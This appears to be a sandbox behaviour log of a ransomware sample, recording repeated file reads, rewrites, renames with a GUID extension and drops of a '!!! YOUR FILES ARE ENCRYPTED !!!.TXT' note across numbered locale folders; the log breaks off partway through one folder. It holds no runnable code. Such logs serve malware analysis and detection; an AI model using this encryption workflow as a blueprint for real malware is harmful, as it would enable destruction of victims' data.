File	Write	filename = C:\588bce7c90097ed212\1029\eula.rtf, size = 3765	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1029\eula.rtf, size = 1	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1029\eula.rtf, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1029\eula.rtf, size = 188	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1029\eula.rtf, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1029\eula.rtf, size = 1268	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1029\eula.rtf, size = 4	1	Fn Data
File	Move	source_filename = C:\588bce7c90097ed212\1029\eula.rtf, destination_filename = C:\588bce7c90097ed212\1029\eula.rtf.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\588bce7c90097ed212\1029\!!! YOUR FILES ARE ENCRYPTED !!!.TXT, desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE	1	Fn
File	Write	filename = C:\588bce7c90097ed212\1029\!!! YOUR FILES ARE ENCRYPTED !!!.TXT, size = 412	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\1029\LocalizedData.xml, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\588bce7c90097ed212\1029\LocalizedData.xml, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1029\LocalizedData.xml, size = 1	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\1029\LocalizedData.xml, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\588bce7c90097ed212\1029\LocalizedData.xml, size = 80970, size_out = 80970	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1029\LocalizedData.xml, size = 80997	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1029\LocalizedData.xml, size = 1	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1029\LocalizedData.xml, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1029\LocalizedData.xml, size = 188	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1029\LocalizedData.xml, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1029\LocalizedData.xml, size = 1268	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1029\LocalizedData.xml, size = 4	1	Fn Data
File	Move	source_filename = C:\588bce7c90097ed212\1029\LocalizedData.xml, destination_filename = C:\588bce7c90097ed212\1029\LocalizedData.xml.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\588bce7c90097ed212\1030\eula.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\588bce7c90097ed212\1030\eula.rtf, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1030\eula.rtf, size = 1	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\1030\eula.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\588bce7c90097ed212\1030\eula.rtf, size = 3314, size_out = 3314	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1030\eula.rtf, size = 3349	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1030\eula.rtf, size = 1	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1030\eula.rtf, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1030\eula.rtf, size = 188	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1030\eula.rtf, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1030\eula.rtf, size = 1268	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1030\eula.rtf, size = 4	1	Fn Data
File	Move	source_filename = C:\588bce7c90097ed212\1030\eula.rtf, destination_filename = C:\588bce7c90097ed212\1030\eula.rtf.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\588bce7c90097ed212\1030\!!! YOUR FILES ARE ENCRYPTED !!!.TXT, desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE	1	Fn
File	Write	filename = C:\588bce7c90097ed212\1030\!!! YOUR FILES ARE ENCRYPTED !!!.TXT, size = 412	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\1030\LocalizedData.xml, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\588bce7c90097ed212\1030\LocalizedData.xml, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1030\LocalizedData.xml, size = 1	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\1030\LocalizedData.xml, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\588bce7c90097ed212\1030\LocalizedData.xml, size = 77748, size_out = 77748	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1030\LocalizedData.xml, size = 77781	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1030\LocalizedData.xml, size = 1	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1030\LocalizedData.xml, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1030\LocalizedData.xml, size = 188	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1030\LocalizedData.xml, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1030\LocalizedData.xml, size = 1268	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1030\LocalizedData.xml, size = 4	1	Fn Data
File	Move	source_filename = C:\588bce7c90097ed212\1030\LocalizedData.xml, destination_filename = C:\588bce7c90097ed212\1030\LocalizedData.xml.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\588bce7c90097ed212\1031\eula.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\588bce7c90097ed212\1031\eula.rtf, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1031\eula.rtf, size = 1	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\1031\eula.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\588bce7c90097ed212\1031\eula.rtf, size = 3419, size_out = 3419	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1031\eula.rtf, size = 3445	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1031\eula.rtf, size = 1	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1031\eula.rtf, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1031\eula.rtf, size = 188	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1031\eula.rtf, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1031\eula.rtf, size = 1268	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1031\eula.rtf, size = 4	1	Fn Data
File	Move	source_filename = C:\588bce7c90097ed212\1031\eula.rtf, destination_filename = C:\588bce7c90097ed212\1031\eula.rtf.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\588bce7c90097ed212\1031\!!! YOUR FILES ARE ENCRYPTED !!!.TXT, desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE	1	Fn
File	Write	filename = C:\588bce7c90097ed212\1031\!!! YOUR FILES ARE ENCRYPTED !!!.TXT, size = 412	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\1031\LocalizedData.xml, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\588bce7c90097ed212\1031\LocalizedData.xml, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1031\LocalizedData.xml, size = 1	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\1031\LocalizedData.xml, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\588bce7c90097ed212\1031\LocalizedData.xml, size = 82346, size_out = 82346	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1031\LocalizedData.xml, size = 82373	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1031\LocalizedData.xml, size = 1	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1031\LocalizedData.xml, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1031\LocalizedData.xml, size = 188	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1031\LocalizedData.xml, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1031\LocalizedData.xml, size = 1268	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1031\LocalizedData.xml, size = 4	1	Fn Data
File	Move	source_filename = C:\588bce7c90097ed212\1031\LocalizedData.xml, destination_filename = C:\588bce7c90097ed212\1031\LocalizedData.xml.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\588bce7c90097ed212\1032\eula.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\588bce7c90097ed212\1032\eula.rtf, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1032\eula.rtf, size = 1	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\1032\eula.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\588bce7c90097ed212\1032\eula.rtf, size = 8876, size_out = 8876	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1032\eula.rtf, size = 8901	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1032\eula.rtf, size = 1	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1032\eula.rtf, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1032\eula.rtf, size = 188	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1032\eula.rtf, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1032\eula.rtf, size = 1268	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1032\eula.rtf, size = 4	1	Fn Data
File	Move	source_filename = C:\588bce7c90097ed212\1032\eula.rtf, destination_filename = C:\588bce7c90097ed212\1032\eula.rtf.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\588bce7c90097ed212\1032\!!! YOUR FILES ARE ENCRYPTED !!!.TXT, desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE	1	Fn
File	Write	filename = C:\588bce7c90097ed212\1032\!!! YOUR FILES ARE ENCRYPTED !!!.TXT, size = 412	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\1032\LocalizedData.xml, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\588bce7c90097ed212\1032\LocalizedData.xml, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1032\LocalizedData.xml, size = 1	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\1032\LocalizedData.xml, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\588bce7c90097ed212\1032\LocalizedData.xml, size = 86284, size_out = 86284	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1032\LocalizedData.xml, size = 86309	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1032\LocalizedData.xml, size = 1	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1032\LocalizedData.xml, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1032\LocalizedData.xml, size = 188	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1032\LocalizedData.xml, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1032\LocalizedData.xml, size = 1268	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1032\LocalizedData.xml, size = 4	1	Fn Data
File	Move	source_filename = C:\588bce7c90097ed212\1032\LocalizedData.xml, destination_filename = C:\588bce7c90097ed212\1032\LocalizedData.xml.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\588bce7c90097ed212\1033\eula.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\588bce7c90097ed212\1033\eula.rtf, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1033\eula.rtf, size = 1	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\1033\eula.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\588bce7c90097ed212\1033\eula.rtf, size = 3188, size_out = 3188	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1033\eula.rtf, size = 3221	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1033\eula.rtf, size = 1	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1033\eula.rtf, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1033\eula.rtf, size = 188	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1033\eula.rtf, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1033\eula.rtf, size = 1268	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1033\eula.rtf, size = 4	1	Fn Data
File	Move	source_filename = C:\588bce7c90097ed212\1033\eula.rtf, destination_filename = C:\588bce7c90097ed212\1033\eula.rtf.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\588bce7c90097ed212\1033\!!! YOUR FILES ARE ENCRYPTED !!!.TXT, desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE	1	Fn
File	Write	filename = C:\588bce7c90097ed212\1033\!!! YOUR FILES ARE ENCRYPTED !!!.TXT, size = 412	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\1033\LocalizedData.xml, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\588bce7c90097ed212\1033\LocalizedData.xml, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1033\LocalizedData.xml, size = 1	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\1033\LocalizedData.xml, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\588bce7c90097ed212\1033\LocalizedData.xml, size = 77232, size_out = 77232	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1033\LocalizedData.xml, size = 77269	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1033\LocalizedData.xml, size = 1	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1033\LocalizedData.xml, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1033\LocalizedData.xml, size = 188	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1033\LocalizedData.xml, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1033\LocalizedData.xml, size = 1268	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1033\LocalizedData.xml, size = 4	1	Fn Data
File	Move	source_filename = C:\588bce7c90097ed212\1033\LocalizedData.xml, destination_filename = C:\588bce7c90097ed212\1033\LocalizedData.xml.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\588bce7c90097ed212\1035\eula.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\588bce7c90097ed212\1035\eula.rtf, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1035\eula.rtf, size = 1	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\1035\eula.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\588bce7c90097ed212\1035\eula.rtf, size = 3702, size_out = 3702	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1035\eula.rtf, size = 3733	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1035\eula.rtf, size = 1	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1035\eula.rtf, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1035\eula.rtf, size = 188	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1035\eula.rtf, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1035\eula.rtf, size = 1268	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1035\eula.rtf, size = 4	1	Fn Data
File	Move	source_filename = C:\588bce7c90097ed212\1035\eula.rtf, destination_filename = C:\588bce7c90097ed212\1035\eula.rtf.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\588bce7c90097ed212\1035\!!! YOUR FILES ARE ENCRYPTED !!!.TXT, desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE	1	Fn
File	Write	filename = C:\588bce7c90097ed212\1035\!!! YOUR FILES ARE ENCRYPTED !!!.TXT, size = 412	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\1035\LocalizedData.xml, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\588bce7c90097ed212\1035\LocalizedData.xml, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1035\LocalizedData.xml, size = 1	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\1035\LocalizedData.xml, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\588bce7c90097ed212\1035\LocalizedData.xml, size = 77022, size_out = 77022	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1035\LocalizedData.xml, size = 77061	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1035\LocalizedData.xml, size = 1	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1035\LocalizedData.xml, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1035\LocalizedData.xml, size = 188	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1035\LocalizedData.xml, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1035\LocalizedData.xml, size = 1268	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1035\LocalizedData.xml, size = 4	1	Fn Data
File	Move	source_filename = C:\588bce7c90097ed212\1035\LocalizedData.xml, destination_filename = C:\588bce7c90097ed212\1035\LocalizedData.xml.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\588bce7c90097ed212\1036\eula.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\588bce7c90097ed212\1036\eula.rtf, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1036\eula.rtf, size = 1	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\1036\eula.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\588bce7c90097ed212\1036\eula.rtf, size = 3526, size_out = 3526	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1036\eula.rtf, size = 3557	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1036\eula.rtf, size = 1	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1036\eula.rtf, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1036\eula.rtf, size = 188	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1036\eula.rtf, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1036\eula.rtf, size = 1268	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1036\eula.rtf, size = 4	1	Fn Data
File	Move	source_filename = C:\588bce7c90097ed212\1036\eula.rtf, destination_filename = C:\588bce7c90097ed212\1036\eula.rtf.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\588bce7c90097ed212\1036\!!! YOUR FILES ARE ENCRYPTED !!!.TXT, desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE	1	Fn
File	Write	filename = C:\588bce7c90097ed212\1036\!!! YOUR FILES ARE ENCRYPTED !!!.TXT, size = 412	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\1036\LocalizedData.xml, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\588bce7c90097ed212\1036\LocalizedData.xml, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1036\LocalizedData.xml, size = 1	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\1036\LocalizedData.xml, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\588bce7c90097ed212\1036\LocalizedData.xml, size = 82962, size_out = 82962	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1036\LocalizedData.xml, size = 82997	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1036\LocalizedData.xml, size = 1	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1036\LocalizedData.xml, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1036\LocalizedData.xml, size = 188	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1036\LocalizedData.xml, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1036\LocalizedData.xml, size = 1268	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1036\LocalizedData.xml, size = 4	1	Fn Data
File	Move	source_filename = C:\588bce7c90097ed212\1036\LocalizedData.xml, destination_filename = C:\588bce7c90097ed212\1036\LocalizedData.xml.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\588bce7c90097ed212\1037\eula.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\588bce7c90097ed212\1037\eula.rtf, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1037\eula.rtf, size = 1	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\1037\eula.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\588bce7c90097ed212\1037\eula.rtf, size = 6851, size_out = 6851	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1037\eula.rtf, size = 6885	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1037\eula.rtf, size = 1	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1037\eula.rtf, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1037\eula.rtf, size = 188	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1037\eula.rtf, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1037\eula.rtf, size = 1268	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1037\eula.rtf, size = 4	1	Fn Data
File	Move	source_filename = C:\588bce7c90097ed212\1037\eula.rtf, destination_filename = C:\588bce7c90097ed212\1037\eula.rtf.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\588bce7c90097ed212\1037\!!! YOUR FILES ARE ENCRYPTED !!!.TXT, desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE	1	Fn
File	Write	filename = C:\588bce7c90097ed212\1037\!!! YOUR FILES ARE ENCRYPTED !!!.TXT, size = 412	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\1037\LocalizedData.xml, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\588bce7c90097ed212\1037\LocalizedData.xml, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1037\LocalizedData.xml, size = 1	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\1037\LocalizedData.xml, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\588bce7c90097ed212\1037\LocalizedData.xml, size = 72076, size_out = 72076	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1037\LocalizedData.xml, size = 72101	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1037\LocalizedData.xml, size = 1	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1037\LocalizedData.xml, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1037\LocalizedData.xml, size = 188	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1037\LocalizedData.xml, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1037\LocalizedData.xml, size = 1268	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1037\LocalizedData.xml, size = 4	1	Fn Data
File	Move	source_filename = C:\588bce7c90097ed212\1037\LocalizedData.xml, destination_filename = C:\588bce7c90097ed212\1037\LocalizedData.xml.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\588bce7c90097ed212\1038\eula.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\588bce7c90097ed212\1038\eula.rtf, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1038\eula.rtf, size = 1	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\1038\eula.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\588bce7c90097ed212\1038\eula.rtf, size = 4254, size_out = 4254	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1038\eula.rtf, size = 4293	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1038\eula.rtf, size = 1	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1038\eula.rtf, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1038\eula.rtf, size = 188	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1038\eula.rtf, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1038\eula.rtf, size = 1268	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1038\eula.rtf, size = 4	1	Fn Data
File	Move	source_filename = C:\588bce7c90097ed212\1038\eula.rtf, destination_filename = C:\588bce7c90097ed212\1038\eula.rtf.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\588bce7c90097ed212\1038\!!! YOUR FILES ARE ENCRYPTED !!!.TXT, desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE	1	Fn
File	Write	filename = C:\588bce7c90097ed212\1038\!!! YOUR FILES ARE ENCRYPTED !!!.TXT, size = 412	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\1038\LocalizedData.xml, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\588bce7c90097ed212\1038\LocalizedData.xml, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1038\LocalizedData.xml, size = 1	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\1038\LocalizedData.xml, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\588bce7c90097ed212\1038\LocalizedData.xml, size = 86442, size_out = 86442	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1038\LocalizedData.xml, size = 86469	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1038\LocalizedData.xml, size = 1	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1038\LocalizedData.xml, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1038\LocalizedData.xml, size = 188	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1038\LocalizedData.xml, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1038\LocalizedData.xml, size = 1268	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1038\LocalizedData.xml, size = 4	1	Fn Data
